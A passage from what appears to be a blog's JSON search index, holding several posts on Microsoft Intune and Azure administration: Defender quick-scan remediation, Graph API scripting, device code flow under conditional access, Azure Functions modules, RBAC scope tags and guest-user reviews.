scripts as pipeline artifacts To make them available for download ","title":"Build an Azure DevOps pipeline to automatically sign your PowerShell scripts","type":"posts"},{"content":"While looking into the new Microsoft Defender Antivirus report available in MEM (Intune) I discovered some machines which did not report any recent Defender antimalware scans, despite configured via configuration profile. Of course, AV scans are kinda old-fashioned against rapidly evolving threats but a regular quick scan won\u0026rsquo;t hurt anyone. Instead of having a look at every single machine affected, I decided to try out the new proactive remediations feature which went globally available last week and let endpoint analytics do the detection and remediation work for me. As a reference, I used the Tutorial: Proactive remediations from Microsoft which covers the process quite well.\nPowerShell scrips # For Endpoint analytics / Proactive remediations we need two PowerShell scripts. The first script is used as a detection script and determines whether remediation is necessary based on the exit code. Exit code 0 indicates a healthy status and exit code 1 indicates remediation necessary. Remediation occurs with a second PowerShell script.\nTo detect the most recent Defender scan I used the Windows Eventlog. Event ID\u0026rsquo;s are documented here.\nDetection script # Remediation script # The remediation script is just about a one-liner to trigger a quick scan. You can extend this based on your requirements and respective to your Intune settings. E.g. triggering a signature update for a scan or adding additional steps.\nCreate a new proactive remediations script package # Adding a new proactive remediation script package is fairly easy. We simply need to upload the detections and remediation script and target the package to an AAD group and specify a schedule. You can find the Endpoint analytics | Proactive remediations section in your tenant under the \u0026ldquo;Reports\u0026rdquo; blade.\nCreate a new script package Specify description and metadata Add the detection and remediation script, I encourage you to sign those and enforce script signature check (only succeeds if signed) although this is optional Assign the remediation package \u0026amp; click on edit to modify the schedule Specify your desired schedule\nAfterwards, you can see the script package and track the status of the package:\nFinal words # I hope this remediation package helps you to ensure quick scans running smoothly in your Microsoft Endpoint Manager environment and provides you an idea about the future possibilities with the new endpoint analytics / proactive remediations feature. Did you also find some clients not doing the quick scans regularly? Let me know in the comments section.\n","date":"28 September 2020","externalUrl":null,"permalink":"/defender-scan-endpoint-analytics/","section":"Posts","summary":"While looking into the new Microsoft Defender Antivirus report available in MEM (Intune) I discovered some machines which did not report any recent Defender antimalware scans, despite configured via configuration profile. Of course, AV scans are kinda old-fashioned against rapidly evolving threats but a regular quick scan won’t hurt anyone. Instead of having a look at every single machine affected, I decided to try out the new proactive remediations feature which went globally available last week and let endpoint analytics do the detection and remediation work for me. As a reference, I used the Tutorial: Proactive remediations from Microsoft which covers the process quite well.\nPowerShell scrips # For Endpoint analytics / Proactive remediations we need two PowerShell scripts. The first script is used as a detection script and determines whether remediation is necessary based on the exit code. Exit code 0 indicates a healthy status and exit code 1 indicates remediation necessary. Remediation occurs with a second PowerShell script.\nTo detect the most recent Defender scan I used the Windows Eventlog. Event ID’s are documented here.\nDetection script # Remediation script # The remediation script is just about a one-liner to trigger a quick scan. You can extend this based on your requirements and respective to your Intune settings. E.g. triggering a signature update for a scan or adding additional steps.\n","title":"Ensuring regular Defender Quick scans with Microsoft Endpoint Manager proactive remediations","type":"posts"},{"content":"","date":"8 September 2020","externalUrl":null,"permalink":"/tags/azuread/","section":"Tags","summary":"","title":"Azuread","type":"tags"},{"content":"You always wanted to automate a specific action within Intune / the Microsoft Endpoint Manager Portal (MEM) but were afraid of the complexity? The Microsoft Graph API docs deliver you more questions instead of answers? Automating tasks within the MEM portal could be very easy, couldn\u0026rsquo;t it? I promise it will be much simpler with this magician trick.\nMicrosoft Endpoint Manager Portal # The MEM Portal UI relies on the Microsoft Graph API. This means that the UI where you create new settings and policies and the Intune backend are encapsulated with different layers. Communication between the UI and the backend happens with the Microsoft Graph API. With the developer tools we can trace network traffic and discover the request URLs and request body payload which are required to interact with the API.\n{: .align-center}\nExample about how to capture URLs and build a PowerShell script # Original request body:\n{ \u0026#34;relationships\u0026#34;: [ { \u0026#34;@odata.type\u0026#34;: \u0026#34;#microsoft.graph.mobileAppDependency\u0026#34;, \u0026#34;targetId\u0026#34;: \u0026#34;152c3443-fe12-4c14-979d-9870fe224b5b\u0026#34;, \u0026#34;dependencyType\u0026#34;: \u0026#34;autoInstall\u0026#34; } ] } Full example:\n#Requires -Module MSAL.PS $accessToken = Get-MsalToken -ClientId d1ddf0e4-d672-4dae-b554-9d5bdfd93547 -DeviceCode # Build authentication header for API requests $authHeader = @{ \u0026#39;Content-Type\u0026#39; = \u0026#39;application/json\u0026#39; \u0026#39;Authorization\u0026#39; = $accessToken.CreateAuthorizationHeader() \u0026#39;ExpiresOn\u0026#39; = $accessToken.ExpiresOn.LocalDateTime } $requestBody = @{ \u0026#34;relationships\u0026#34; = @( @{ \u0026#34;@odata.type\u0026#34; = \u0026#34;#microsoft.graph.mobileAppDependency\u0026#34; \u0026#34;targetId\u0026#34; = \u0026#34;152c3443-fe12-4c14-979d-9870fe224b5b\u0026#34; \u0026#34;dependencyType\u0026#34; = \u0026#34;autoInstall\u0026#34; } ) } $requestUrl = \u0026#34;https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/de79d203-f72e-4c31-9536-a56a9e18916d/updateRelationships\u0026#34; Invoke-RestMethod -Method Post -Uri $requestUrl -Body $($requestBody | ConvertTo-Json) -Headers $authHeader Hint: Add a filter like graph.microsoft.com method:POST to your dev tools to only show POST requests made to the API. {: .notice}\nFinal words # Now you know that the MEM portal runs almost entirely on the Microsoft Graph Beta API. But be aware that resources and entities are subject to change for all resources on the beta endpoint. If you want to build an app or want to receive official support you need to use the v1.0 version of the Microsoft Graph API.\n","date":"8 September 2020","externalUrl":null,"permalink":"/discover-mem-graph-urls/","section":"Posts","summary":"You always wanted to automate a specific action within Intune / the Microsoft Endpoint Manager Portal (MEM) but were afraid of the complexity? The Microsoft Graph API docs deliver you more questions instead of answers? Automating tasks within the MEM portal could be very easy, couldn’t it? I promise it will be much simpler with this magician trick.\nMicrosoft Endpoint Manager Portal # The MEM Portal UI relies on the Microsoft Graph API. This means that the UI where you create new settings and policies and the Intune backend are encapsulated with different layers. Communication between the UI and the backend happens with the Microsoft Graph API. With the developer tools we can trace network traffic and discover the request URLs and request body payload which are required to interact with the API.\n{: .align-center}\nExample about how to capture URLs and build a PowerShell script # Original request body:\n","title":"Discover the Microsoft Graph API with the Microsoft Endpoint Manager Portal","type":"posts"},{"content":"When using device code authentication for PowerShell modules with conditional access you might receive prompts like: \u0026ldquo;Access has been blocked by Conditional Access policies. The access policy does not allow token issuance\u0026rdquo; or \u0026ldquo;AADSTS50097: Device authentication is required\u0026rdquo;. But what\u0026rsquo;s the reason for this error and is there a solution available?\nExamples from the field # Device code flow is quite a convenient way to sign-in for an app within the web browser - at least if it works. If not you have to consider other options and that\u0026rsquo;s probably the reason why you\u0026rsquo;re reading this blog article.\nAz PowerShell\nRunning the Az PowerShell module on PowerShell 7 uses device code flow to authenticate against your Azure tenant and might fail:\nConnect-AzAccount: AADSTS50097: Device authentication is required. Timestamp: 2020-08-17 13:36:31Z: Response status code does not indicate success: 401 (Unauthorized). The sign-in to Azure is tied to the \u0026ldquo;Microsoft Azure Management\u0026rdquo; app that you can select within Conditional Access.\nMicrosoft Graph PowerShell\nThe same applies for the new Microsoft.Graph PowerShell modules - but here we receive a more detailed error message:\nConnect-Graph: AADSTS53003: Access has been blocked by Conditional Access policies. The access policy does not allow token issuance. Timestamp: 2020-08-17 13:37:12Z The sign-in to the new Microsoft Graph Modules is tied to the \u0026ldquo;Microsoft Graph PowerShell (Preview)\u0026rdquo; app and some more apps I couldn\u0026rsquo;t determine.\nPossible cause # You will experience issues with device code flow if one or more conditions apply to your conditional access configuration:\nUnknown client app is blocked Device-based conditional access rule in place Require compliant device Require hybrid Azure AD joined device If we have a closer look on the OAuth 2.0 device code flow and possible usage you will notice that the sign-in with the device code flow could be completed on another device like a smartphone or a computer than the device which initially initiated the sign-in / authorization process:\nOriginal image is from Microsoft\nSo it\u0026rsquo;s by design that the device code flow cannot satisfy any device-based conditional access rules. Furthermore, device code flow falls into the \u0026ldquo;Unknown\u0026rdquo; client application section. The Azure AD identity platform simply doesn\u0026rsquo;t know if you\u0026rsquo;re signin-in for an app on your smart TV, IOT device or within PowerShell and about the device state.\nPossible solutions # Of course workarounds exist to modify the Conditional Access configuration. But I wouldn\u0026rsquo;t recommend this because this affects your security posture - if you take the risk you could exclude the \u0026ldquo;Microsoft Azure Management\u0026rdquo; from your Conditional Access policy which blocks unknown clients / requires device state and still protect the sign-in with MFA.\nA better approach is to use another OAuth 2.0 and OpenID connect flow like the delegated flow where you sign-in directly within the app. But that\u0026rsquo;s not always possible and limited by the support of the PowerShell module (Az modules currently do not support this).\nAnother workaround is to use an app registration (service principal) with client credentials like a certificate. Although this also comes with drawbacks in the area of security and maintainability based on the permissions you assign to the app.\nTo summarize you have the following options for the Az PowerShell module:\nDevice Based Conditional Access and/or unknown client platforms blocked settings in place If you\u0026rsquo;re on PowerShell 7 -\u0026gt; Use a service principal If you\u0026rsquo;re on PowerShell 5.1 -\u0026gt; Sign-in should work as expected Final words # So finger\u0026rsquo;s crossed that Microsoft will implement this one within their PowerShell modules and not only relies on options for device code flow and unattended access with app registrations (client credentials grant).\nIf you haven\u0026rsquo;t checked out I can recommend you the Microsoft Identity Platform overview for OAuth 2.0 and OpenID Connect flows:\nOAuth 2.0 and OpenID Connect protocols on Microsoft identity platform\n","date":"3 September 2020","externalUrl":null,"permalink":"/device-code-auth-ca/","section":"Posts","summary":"When using device code authentication for PowerShell modules with conditional access you might receive prompts like: “Access has been blocked by Conditional Access policies. The access policy does not allow token issuance” or “AADSTS50097: Device authentication is required”. But what’s the reason for this error and is there a solution available?\nExamples from the field # Device code flow is quite a convenient way to sign-in for an app within the web browser - at least if it works. If not you have to consider other options and that’s probably the reason why you’re reading this blog article.\nAz PowerShell\nRunning the Az PowerShell module on PowerShell 7 uses device code flow to authenticate against your Azure tenant and might fail:\nConnect-AzAccount: AADSTS50097: Device authentication is required. Timestamp: 2020-08-17 13:36:31Z: Response status code does not indicate success: 401 (Unauthorized). The sign-in to Azure is tied to the “Microsoft Azure Management” app that you can select within Conditional Access.\nMicrosoft Graph PowerShell\nThe same applies for the new Microsoft.Graph PowerShell modules - but here we receive a more detailed error message:\nConnect-Graph: AADSTS53003: Access has been blocked by Conditional Access policies. The access policy does not allow token issuance. Timestamp: 2020-08-17 13:37:12Z The sign-in to the new Microsoft Graph Modules is tied to the “Microsoft Graph PowerShell (Preview)” app and some more apps I couldn’t determine.\n","title":"Access has been blocked by Conditional Access policies when using device code flow","type":"posts"},{"content":"Creating assignments and software deployment groups for Intune mobile apps is quite a repetitive and manual task. Because of that, I want to share a PowerShell script with you which allows you to automatically create software deployment groups in Azure AD and the assignments for various intents.\nThe script allows you to:\nCreate Azure AD groups (install uninstall purpose) Pick existing groups based on displayName Assign Intune mobile apps (tested for Win32 and MSI LOB apps) You can find the script on my techblog GitHub repository.\nBecause of the configurable group prefixes the script helps you to keep your Intune environment clean and implement a standard app assignment configuration.\nThe script uses the Microsoft Graph API and the following resources\nhttps://graph.microsoft.com/beta/deviceAppmanagement/mobileApps https://graph.microsoft.com/beta/deviceAppmanagement/mobileApps/{AppID}/Assignments https://graph.microsoft.com/beta/groups It uses the preregistered app \u0026ldquo;Microsoft Intune PowerShell\u0026rdquo; which exists by default in all tenants. If you want to run the Script with PowerShell 7 you need to create an adjust the MSAL token section with the -DeviceCode parameter.\nYou can bulk select the apps you want to create the assignment and AAD deployment groups:\nHope this saves you some time.\n","date":"19 August 2020","externalUrl":null,"permalink":"/intune-mobile-app-assignment-bulk/","section":"Posts","summary":"Creating assignments and software deployment groups for Intune mobile apps is quite a repetitive and manual task. Because of that, I want to share a PowerShell script with you which allows you to automatically create software deployment groups in Azure AD and the assignments for various intents.\nThe script allows you to:\nCreate Azure AD groups (install uninstall purpose) Pick existing groups based on displayName Assign Intune mobile apps (tested for Win32 and MSI LOB apps) You can find the script on my techblog GitHub repository.\nBecause of the configurable group prefixes the script helps you to keep your Intune environment clean and implement a standard app assignment configuration.\nThe script uses the Microsoft Graph API and the following resources\nhttps://graph.microsoft.com/beta/deviceAppmanagement/mobileApps https://graph.microsoft.com/beta/deviceAppmanagement/mobileApps/{AppID}/Assignments https://graph.microsoft.com/beta/groups It uses the preregistered app “Microsoft Intune PowerShell” which exists by default in all tenants. If you want to run the Script with PowerShell 7 you need to create an adjust the MSAL token section with the -DeviceCode parameter.\nYou can bulk select the apps you want to create the assignment and AAD deployment groups:\nHope this saves you some time.\n","title":"Bulk create Intune mobile app deployment groups and assignments","type":"posts"},{"content":"Azure functions for PowerShell natively ship without additional cmdlets or PowerShell modules. In this post, I will show you how to add both public modules from the PowerShell gallery with automatic dependency management and custom modules.\nFor both options, we use the Kudu tools to adjust the configuration of our function app. You can launch them from the \u0026ldquo;Advanced Tools\u0026rdquo; section of your function app:\nAfterwards, launch the PowerShell debug console and navigate to the wwwroot folder of your app:\nOption 1: Automatic dependency management # Note: Installing modules which require license acceptance (e.g. the MSAL.PS module) currently cannot be installed with automatic dependency management. You can track the issue status here and here. {: .notice\u0026ndash;warning}\nAzure function apps running PowerShell come with a nice feature called managed dependencies. You can specify the modules you want to import from the PowerShell Gallery and the function app host will automatically process the dependencies.\nIn the requirements.psd1 add the module details:\n# This file enables modules to be automatically managed by the Functions service. # See https://aka.ms/functionsmanageddependency for additional information. # @{ # For latest supported version, go to \u0026#39;https://www.powershellgallery.com/packages/Az\u0026#39;. \u0026#39;Az\u0026#39; = \u0026#39;4.*\u0026#39; \u0026#39;Microsoft.Graph.Authentication\u0026#39; = \u0026#39;0.*\u0026#39; } You can either specify an exact version available from the PowerShell Gallery or specify the major version with a wildcard. With the wildcard option it will use the latest version available.\nMake sure that the managedDependency option is set to true in your functions host.json file:\n\u0026#34;managedDependency\u0026#34;: { \u0026#34;Enabled\u0026#34;: true } This option tells the function app to automatically process the entries from the requirements.psd1 file. After adjusting the file make sure to restart your function app.\nWhen running a function the next time the dependency management will automatically kick in and process the dependencies:\nOption 2: Module upload # If your module is not available in the PowerShell Gallery or requires license acceptance you can upload your modules to the function app via Kudu.\nCreate a Modules folder within the site\\wwwroot path\nInstall/locate the module on your local machine\nDrag and drop the module folder (which contains the module version and contents in a subfolder) to your azure Kudu PowerShell console\nE.g.: C:\\Program Files\\WindowsPowerShell\\Modules\\MSAL.PS Verifying module availability # To verify the successful module installation you could use this test-function:\nusing namespace System.Net # Input bindings are passed in via param block. param($Request, $TriggerMetadata) # Write to the Azure Functions log stream. Write-Host \u0026#34;PowerShell HTTP trigger function processed a request.\u0026#34; # Associate values to output bindings by calling \u0026#39;Push-OutputBinding\u0026#39;. Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{ StatusCode = [HttpStatusCode]::OK Body = $(Get-Module -ListAvailable | Select-Object Name, Path) }) In the reponse we can also see the difference between managed dependencies and manually uploaded modules:\n[ { \u0026#34;Name\u0026#34;: \u0026#34;Microsoft.Graph.Authentication\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;D:\\\\home\\\\data\\\\ManagedDependencies\\\\200812100222437.r\\\\Microsoft.Graph.Authentication\\\\0.7.1\\\\Microsoft.Graph.Authentication.psd1\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;MSAL.PS\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;D:\\\\home\\\\site\\\\wwwroot\\\\Modules\\\\MSAL.PS\\\\4.16.0.2\\\\MSAL.PS.psd1\u0026#34; } ] Did you spot the difference with the data\\\\ManagedDependencies folder, didn\u0026rsquo;t you? The subfolder\u0026rsquo;s name contains a timestamp about the last update time.\nFinal words # Adding modules to Azure functions with managed dependencies is definitely the preferred way because it offers additional features and automatic updates of the modules. For modules which require license acceptance or custom-developed modules we can take advantage of the Kudu tools.\nMore resources:\nMicrosoft docs: Dependency management ","date":"17 August 2020","externalUrl":null,"permalink":"/azure-functions-powershell-modules/","section":"Posts","summary":"Azure functions for PowerShell natively ship without additional cmdlets or PowerShell modules. In this post, I will show you how to add both public modules from the PowerShell gallery with automatic dependency management and custom modules.\nFor both options, we use the Kudu tools to adjust the configuration of our function app. You can launch them from the “Advanced Tools” section of your function app:\nAfterwards, launch the PowerShell debug console and navigate to the wwwroot folder of your app:\nOption 1: Automatic dependency management # Note: Installing modules which require license acceptance (e.g. the MSAL.PS module) currently cannot be installed with automatic dependency management. You can track the issue status here and here. {: .notice–warning}\nAzure function apps running PowerShell come with a nice feature called managed dependencies. You can specify the modules you want to import from the PowerShell Gallery and the function app host will automatically process the dependencies.\nIn the requirements.psd1 add the module details:\n# This file enables modules to be automatically managed by the Functions service. # See https://aka.ms/functionsmanageddependency for additional information. # @{ # For latest supported version, go to 'https://www.powershellgallery.com/packages/Az'. 'Az' = '4.*' 'Microsoft.Graph.Authentication' = '0.*' } You can either specify an exact version available from the PowerShell Gallery or specify the major version with a wildcard. With the wildcard option it will use the latest version available.\n","title":"Add PowerShell modules to Azure functions","type":"posts"},{"content":"","date":"10 August 2020","externalUrl":null,"permalink":"/tags/microsoft365/","section":"Tags","summary":"","title":"Microsoft365","type":"tags"},{"content":"The Office 365 Service Communications API provides information about Microsoft 365 service status for your tenant including service messages. I built a little PowerShell module to access the API with PowerShell cmdlets. In this post I want to show you some examples which help you to use the API.\nPowerShell Module # I built a PowerShell module to access Microsoft 365 service status details natively with PowerShell. The PowerShell module and documentation is available on the PowerShell Gallery and on GitHub.\nBefore using the module an app registration is required. Setup instructions are also provided on GitHub.\nCI/CD # By leveraging Azure DevOps I created a build and release pipeline which automatically builds the PowerShell module with Plaster.\nBuilds are only created if the commit on GitHub includes a version tag. This version tag gets automatically populated to the module manifest.\nThe build artifact gets then automatically published to the PowerShell Gallery as a new version. Furthermore, a new GitHub release including the module artifact is added to the project.\nThis process fully automates the publishing and build process for the module. For local development and maintenance, the module can also be built with Invoke-Build.\nLog Analytics Workbook # Another thing I tried out was a little workbook for my log analytics workspace which displays status information of the services.\nTo ingest the logs to the log analytics workspace I built a little logic app that retrieves the service status periodically and ingests the logs to the workspace.\nNote:\nIf you would use the logic app in production better store the app registration details in azure key vault The workbook looks like this and provides a nice dashboard:\nI truncated the output to only include specific services. Here\u0026rsquo;s the KQL query I used to render the cards:\nServiceStatus_CL | where TimeGenerated between(ago(8h) .. now()) | extend Service = service_s | extend Status = status_s | where Service in (\u0026#39;Microsoft Teams\u0026#39;, \u0026#39;Microsoft Defender ATP\u0026#39;, \u0026#39;Microsoft Intune\u0026#39;, \u0026#39;Exchange Online\u0026#39;, \u0026#39;SharePoint Online\u0026#39;, \u0026#39;Microsoft 365 suite\u0026#39;, \u0026#39;OneDrive for Business\u0026#39;, \u0026#39;Office Client Applications\u0026#39;) | summarize arg_max(TimeGenerated, *) by Service | project TimeGenerated, Service, Status Closing notes # I hope this post provided you some inspiration to build automation and dashboards in the area of Microsoft 365 service status. You could now create automated notifications for all new service status messages and post them to teams or send notification emails. Or simply display the status of the services in your existing IT infrastructure status dashboard.\nYou can find a full documentation about the API in the Office 365 Service Communications API reference.\n","date":"10 August 2020","externalUrl":null,"permalink":"/microsoft365-service-status/","section":"Posts","summary":"The Office 365 Service Communications API provides information about Microsoft 365 service status for your tenant including service messages. I built a little PowerShell module to access the API with PowerShell cmdlets. In this post I want to show you some examples which help you to use the API.\nPowerShell Module # I built a PowerShell module to access Microsoft 365 service status details natively with PowerShell. The PowerShell module and documentation is available on the PowerShell Gallery and on GitHub.\nBefore using the module an app registration is required. Setup instructions are also provided on GitHub.\nCI/CD # By leveraging Azure DevOps I created a build and release pipeline which automatically builds the PowerShell module with Plaster.\nBuilds are only created if the commit on GitHub includes a version tag. This version tag gets automatically populated to the module manifest.\nThe build artifact gets then automatically published to the PowerShell Gallery as a new version. Furthermore, a new GitHub release including the module artifact is added to the project.\nThis process fully automates the publishing and build process for the module. For local development and maintenance, the module can also be built with Invoke-Build.\n","title":"Playing around with the Office 365 Service Communications API","type":"posts"},{"content":"For larger Intune environments a solid role-based access implementation becomes crucial to ensure a secure administration. But how does Intune role-based access control (RBAC) work in combination with scope tags and how to get started? This post gets you covered with explanations and practical examples.\nRole-based access control within the Microsoft 365 ecosystem # Within the Microsoft 365 ecosystem, Microsoft provides Azure AD administrative roles to administrate services like Exchange (Exchange administrator), SharePoint (SharePoint administrator), Intune (Intune administrator) and so on.\nAs you can see Azure AD provides (usually) only one role which grants full administrative access over a service. You can configure more fine-grained controls within the service itself - that\u0026rsquo;s where the RBAC controls of the respective service kick in.\nTo give you another example: You might have a 1st or 2nd level support department which needs permissions to perform remote actions on Intune managed devices. Instead of assigning them the Azure AD Intune Administrator role, it\u0026rsquo;s more convenient to assign them a fine-grained Intune RBAC role which delegates exactly the permissions needed.\nAs the name already indicates Intune related roles only live within the Intune tenant and cannot be managed from AAD and vice-versa:\nAzure AD administrative roles with Intune permissions # Along with the \u0026ldquo;Intune Administrator\u0026rdquo; the \u0026ldquo;Global Administrator\u0026rdquo; role is as of today the only role which grants write access to the Intune service. You can find an exhaustive list which covers also roles with read access within this Microsoft docs article: Azure Active Directory roles with Intune access.\nIntune roles # The Intune service comes with a predefined set of built-in roles. These role definitions are immutable which means that you cannot edit permissions, display-names or descriptions.\nIf you want to customize a role you can duplicate your desired built-in role which then becomes a \u0026ldquo;custom role\u0026rdquo;.\nYou can manage all Intune roles and RBAC settings under the \u0026ldquo;Tenant administration\u0026rdquo; -\u0026gt; \u0026ldquo;Roles\u0026rdquo; blade:\nExample use cases # Imagine a small to medium company with a central IT which provides all services.\nIf you have use cases like:\nMembers of the 1st level support should be able to perform device actions (reset, retire, lost-mode) and assign mobile apps Members of the 2nd level support should be able to modify device configurations and create mobile apps that\u0026rsquo;s where an Intune role assignment to the repective groups (1st and 2nd level support) will be sufficient.\nAdvanced use cases # Larger companies or companies with decentralized IT departments organized by business regions like EMEA, APAC\u0026hellip; could have advanced use cases like:\nThe support team of EMEA should be able to perform device actions only on EMEA devices The support team of EMEA should only be able to modify EMEA device configurations and not global configurations We need more fine-grained controls to identify which resources belong to EMEA. And these controls are called \u0026ldquo;Scope tags\u0026rdquo;.\nIntune scope tags # What\u0026rsquo;s an Intune scope tag?\nA scope tag assigns an Intune configuration (e.g. device configuration, compliance policy, mobile app or managed device) to one or more specific management scope(s). {: .notice}\nYou can imagine a scope tag like a \u0026ldquo;virtual Active Directory organizational unit (OU)\u0026rdquo; - to each Intune object you assign a scope tag it would reside within that OU. In Active Directory terminology we would then \u0026ldquo;Delegate permissions\u0026rdquo; to a specific group which can manage objects within that OU - that\u0026rsquo;s exactly what Intune role assignments and scope tags do (hypothetically).\nDefault tag # By default, all Intune entities which are created from a user without an Intune role (which means it was either an Intune Administrator or Global Admin) get automatically assigned this built-in scope tag. Every object in Intune needs to have at least one scope tag assigned.\nWhat about accounts without an Intune role? # Azure AD administrative roles with Intune permissions which don\u0026rsquo;t have an Intune role assigned always preserve permissions based on the AAD role on all resources no matter to which scope they belong.\nScope tag inheritance # An admin which got an Intune role with scope tag(s) assigned will inherit the scope tag(s) to all resources he creates Apple VPP tokens will inherit all scope tags from the VPP-token level to the mobile apps Configurations supporting scope tags # All except the following resources in Intune currently support scope tags:\nWindows ESP profiles Corp Device Identifiers Autopilot Devices Device compliance locations Jamf devices List from microsoft docs.\nAssignment of Intune roles and scope tags # To assign a role you can customize the following options:\nAdmin Groups Azure AD Group which will have the role assigned Scope Groups Here you can add specific groups which can be managed by this role Admins can perform assignments only to groups specified within the \u0026ldquo;Scope Groups\u0026rdquo; Selected groups -\u0026gt; All users -\u0026gt; Admins can create \u0026ldquo;All user\u0026rdquo; assignments but cannot perform any device-related tasks All devices -\u0026gt; Admins can manage all device properties and tasks including assignments but cannot perform user-related tasks All users and all devices -\u0026gt; Admins can can can manage and target all devices, users and AAD groups Scope tags controls over which scope the role is valid if you don\u0026rsquo;t specify a scope it\u0026rsquo;s valid across all scopes (whole Intune tenant) Real-world example # To come back to our advanced role assignment example about EMEA - we need to do the following steps to implement Intune RBAC for the EMEA team:\nCreate a new Intune role (e.g. \u0026ldquo;Continental operators\u0026rdquo;) which has permissions to perform device actions and edit device configurations Add a new scope tag called \u0026ldquo;EMEA\u0026rdquo; Assign the \u0026ldquo;EMEA\u0026rdquo; scope tag to all \u0026ldquo;EMEA\u0026rdquo; devices Assign the EMEA scope tag to all \u0026ldquo;EMEA\u0026rdquo; device configuration profiles Assign the Intune role \u0026ldquo;Continental operators\u0026rdquo; to an AAD group which holds the EMEA IT staff e.g. \u0026ldquo;gs-aad-apac-intuneoperators\u0026rdquo; Make sure to include the \u0026ldquo;EMEA\u0026rdquo; scope tag within the role assignment Result # Members of the \u0026ldquo;gs-aad-apac-intuneoperators\u0026rdquo; AAD group have now permissions according to the custom Intune role \u0026ldquo;EMEA operators\u0026rdquo; role over all Intune objects which have the \u0026ldquo;EMEA\u0026rdquo; scope tag assigned.\nAn EMEA user which owns the custom Intune role will only see the devices and configuration profiles with the EMEA scope tag assigned:\nRemarks # We can create multiple role assignments for the same role. This is useful when you want to implement the same set of permission to the respective scope If APAC needs the same permissions like EMEA on APAC resources we can just add a new role assignment and use the APAC scope tag and AAD group Scope tags can also be assigned to Intune managed devices via AAD groups Peter van der Woude wrote a great post about this If you want to prevent EMEA admins from adjusting assignments of the EMEA device restrictions (e.g. to another group or removing it) you can either: disable the \u0026ldquo;assign\u0026rdquo; permissions in the custom role specify the Azure AD groups where they should be able to target in the role assignment under the \u0026ldquo;Scope (Groups)\u0026rdquo; setting Additional notes # License requirements # Using Intune roles did require an active Intune license assigned to the admin. This changed with the 2006 release which was rolled-out in Juni 2020. You can disable the license requirement in your tenant:\nBut keep in mind that for MFA / Conditional Access an Azure AD Premium P1 plan is still required.\nVerify assigned Intune permissions # You can easily verify Intune permissions assigned to your account by visiting Tenant Administration -\u0026gt; Roles -\u0026gt; My permissions:\nConclusion # Intune offers very fine-grained control to administrate a tenant with Intune (custom) roles and scope tags. For smaller environments and especially companies with a central IT working with scope tags might overdo the cake but for larger decentralized tenants these are welcome features to reduce the load on the central IT team. Whereas Intune Intune roles can be very helpful to assign the right permissions to 1st and 1nd level support teams.\nHappy Intune RBAC-ing.\n","date":"3 August 2020","externalUrl":null,"permalink":"/intune-scope-tags-rbac-explained/","section":"Posts","summary":"For larger Intune environments a solid role-based access implementation becomes crucial to ensure a secure administration. But how does Intune role-based access control (RBAC) work in combination with scope tags and how to get started? This post gets you covered with explanations and practical examples.\nRole-based access control within the Microsoft 365 ecosystem # Within the Microsoft 365 ecosystem, Microsoft provides Azure AD administrative roles to administrate services like Exchange (Exchange administrator), SharePoint (SharePoint administrator), Intune (Intune administrator) and so on.\nAs you can see Azure AD provides (usually) only one role which grants full administrative access over a service. You can configure more fine-grained controls within the service itself - that’s where the RBAC controls of the respective service kick in.\nTo give you another example: You might have a 1st or 2nd level support department which needs permissions to perform remote actions on Intune managed devices. Instead of assigning them the Azure AD Intune Administrator role, it’s more convenient to assign them a fine-grained Intune RBAC role which delegates exactly the permissions needed.\nAs the name already indicates Intune related roles only live within the Intune tenant and cannot be managed from AAD and vice-versa:\n","title":"Intune scope tags and role-based access control explained","type":"posts"},{"content":"Azure Active Directory guest users really simplify the process to collaborate with external users. Although keeping a good governance on guest accounts can become quite a challenge. The two biggest challenges I often observe are: \u0026ldquo;Who invited that guest user?\u0026rdquo; and \u0026ldquo;Does this guest user still need access to our infrastructure?\u0026rdquo;. Inspired by a recent post of Thomas Kurth regarding Azure AD Guest Account - Governance and Cleanup I also developed a solution which comes quite close to an \u0026ldquo;Azure AD Access review\u0026rdquo; like user experience.\nNotable features # The \u0026lsquo;Manager\u0026rsquo; attribute of your guest users get\u0026rsquo;s automatically populated with the identity of the inviter All Azure AD app registration information is stored in Azure Key Vault Almost zero touch deployment with ARM templates You can integrate existing guest users into this solution by populating the manager attribute in Azure AD You can configure the approval frequency for guest accounts Approval frequency respects last approval date for each guest account Architecture # The solution leverages function of:\nAzure Logic App\nTo process the guest user approval Fetches guest users via Microsoft Graph Retrieves information from the Azure Functions Sends approval e-mails to the guest user\u0026rsquo;s manager Azure AD\nManager attribute to referece the inviter of the guest user and account him as responsible for the guest Open type extensions to store metadata of the guest review process { \u0026#34;@odata.type\u0026#34;: \u0026#34;#microsoft.graph.openTypeExtension\u0026#34;, \u0026#34;lastReview@odata.type\u0026#34;: \u0026#34;#DateTimeOffset\u0026#34;, \u0026#34;lastReview\u0026#34;: \u0026#34;2020-07-11T11:22:23.8382113Z\u0026#34;, \u0026#34;inviterUpn\u0026#34;: \u0026#34;nicola@nicolasuter.ch\u0026#34;, \u0026#34;inviterId\u0026#34;: null, \u0026#34;id\u0026#34;: \u0026#34;ch.nicolonsky.tech.guestManagement\u0026#34; } Azure Key Vault\nSecurely stores app registration details and client secret Grants access to the Function App and Logic Apps Managed identities Azure Functions (comes with app service plan and storage account)\nPopulateGuestInviterAsManager: Populates the manager and open openTypeExtension data FetchLastSigninAndManager: Retrieves the manager, last sign-in details and lastReview time from the openTypeExtension UpdateGuestManagementMeta: Updates last review date for the openTypeExtension Azure Log Analytics alert rule\nTriggers Azure Function which populates the inviter of the guest as the guet user\u0026rsquo;s manager Prerequisites # In order to deploy this solution you need the following prerequisites:\nAzure subscription Azure AD Audit \u0026amp; Sign-In Log forwarding to a log analytics workspace You can find setup instructions here Azure AD app registration Required Microsoft Graph permissions: Directory.ReadWrite.All, AuditLog.Read.All (Application Permissions) Deployment # Ensure that you registered an app registration in Azure AD and consented to the application permissions. I named mine \u0026ldquo;Azure AD Guest User Review\u0026rdquo;. You will need the Directory (tenant) ID, Application (client) ID and Client secret for the deployment.\nFor an easy and automated onboarding this solution ships with ARM templates. The only mandatory input for the deployment are the details for the app registration.\nSpecify these values as ARM template deployment parameters as secretValue like: {\u0026quot;secretName\u0026quot;:\u0026quot;ClientSecret\u0026quot;,\u0026quot;secretValue\u0026quot;:\u0026quot;Paste Azure AD App Registration Detail\u0026quot;}.\nThe ARM template bundles multiple nested templates. You can have a closer look on them on this 